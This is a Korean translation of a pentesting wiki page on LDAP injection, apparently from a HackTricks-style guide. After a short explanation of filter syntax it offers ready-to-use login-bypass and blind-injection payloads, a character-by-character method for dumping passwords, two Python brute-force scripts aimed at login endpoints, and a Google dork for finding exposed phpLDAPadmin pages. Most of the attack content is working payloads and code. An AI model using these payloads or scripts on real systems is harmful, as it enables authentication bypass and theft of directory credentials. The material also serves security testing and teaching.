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# LDAP Injection
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## LDAP Injection
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## LDAP Injection
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### **LDAP**
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**LDAP에 대해 알고 싶다면 다음 페이지를 참조하세요:**
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{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md ](../network-services-pentesting/pentesting-ldap.md )
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{% endcontent-ref %}
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**LDAP Injection**은 사용자 입력으로부터 LDAP 문장을 구성하는 웹 애플리케이션을 대상으로 하는 공격입니다. 애플리케이션이 입력을 **적절히 정화하지 못할** 때 발생하며, 공격자가 로컬 프록시를 통해 **LDAP 문장을 조작**할 수 있게 되어, 무단 접근이나 데이터 조작으로 이어질 수 있습니다.
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{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
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**Filter** = ( filtercomp )\
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**Filtercomp** = and / or / not / item\
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**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**Filterlist** = 1\*filter\
**Item**= simple / present / substring\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_ \
**Present** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
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**(& )** = Absolute TRUE\
**(|)** = Absolute FALSE
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예를 들어:\
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`(&(!(objectClass=Impresoras))(uid=s*))` \
`(&(objectClass=user)(uid=*))`
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데이터베이스에 접근할 수 있으며, 이는 다양한 유형의 정보를 포함할 수 있습니다.
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**OpenLDAP**: 2개의 필터가 도착하면 첫 번째 필터만 실행합니다.\
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**ADAM 또는 Microsoft LDS**: 2개의 필터가 있을 경우 오류를 발생시킵니다.\
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**SunOne Directory Server 5.0**: 두 개의 필터를 모두 실행합니다.
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**올바른 구문으로 필터를 전송하는 것이 매우 중요하며, 그렇지 않으면 오류가 발생합니다. 필터는 하나만 전송하는 것이 좋습니다.**
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필터는 다음으로 시작해야 합니다: `&` 또는 `|` \
예: `(&(directory=val1)(folder=public))`
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`(&(objectClass=VALUE1)(type=Epson*))` \
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
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그런 다음: `(&(objectClass=` **`*)(ObjectClass=*))`**가 첫 번째 필터(실행되는 필터)가 됩니다.
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### Login Bypass
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LDAP는 비밀번호를 저장하기 위한 여러 형식을 지원합니다: clear, md5, smd5, sh1, sha, crypt. 따라서 비밀번호에 무엇을 입력하든 관계없이 해시될 수 있습니다.
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```bash
user=*
password=*
--> (& (user=*)(password=*))
# The asterisks are great in LDAPi
```
```bash
user=*)(&
password=*)(&
--> (& (user=*)(& )(password=*)(& ))
```
```bash
user=*)(|(&
pass=pwd)
--> (& (user=*)(|(& )(pass=pwd))
```
```bash
user=*)(|(password=*
password=test)
--> (& (user=*)(|(password=*)(password=test))
```
```bash
user=*))%00
pass=any
--> (& (user=*))%00 --> Nothing more is executed
```
```bash
user=admin)(& )
password=pwd
--> (& (user=admin)(& ))(password=pwd) #Can through an error
```
```bash
username = admin)(!(& (|
pass = any))
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--> (& (uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
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```
```bash
username=*
password=*)(&
--> (& (user=*)(password=*)(& ))
```
```bash
username=admin))(|(|
password=any
--> (& (uid=admin)) (| (|) (webpassword=any))
```
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#### Lists
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* [LDAP\_FUZZ ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt )
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* [LDAP 속성 ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt )
* [LDAP PosixAccount 속성 ](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html )
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### Blind LDAP Injection
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False 또는 True 응답을 강제로 생성하여 데이터가 반환되는지 확인하고 가능한 Blind LDAP Injection을 확인할 수 있습니다:
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```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=* ))(& objectClass=void
Final query: (& (objectClass= *)(objectClass=* ))(& objectClass=void )(type=Pepi*))
```
```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(& objectClass=void
Final query: (& (objectClass= void)(objectClass=void))(& objectClass=void )(type=Pepi*))
```
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#### Dump data
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ascii 문자, 숫자 및 기호를 반복할 수 있습니다:
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```bash
(& (sn=administrator)(password=*)) : OK
(& (sn=administrator)(password=A*)) : KO
(& (sn=administrator)(password=B*)) : KO
...
(& (sn=administrator)(password=M*)) : OK
(& (sn=administrator)(password=MA*)) : KO
(& (sn=administrator)(password=MB*)) : KO
...
```
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### Scripts
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#### **유효한 LDAP 필드 발견**
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LDAP 객체는 **기본적으로 여러 속성을 포함하고** 있어 **정보를 저장하는 데 사용할 수 있습니다.** 이 정보를 추출하기 위해 **모든 속성을 무작위로 시도해 볼 수 있습니다.** [**기본 LDAP 속성 목록은 여기에서 확인할 수 있습니다** ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt ).
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```python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
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value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
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```
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#### **특수 블라인드 LDAP 인젝션 (without "\*")**
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```python
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
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print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir& search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
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```
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### 구글 도크스
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```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
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### More Payloads
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{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
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< figure > < img src = "../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
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{% hint style="success" %}
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{% endhint %}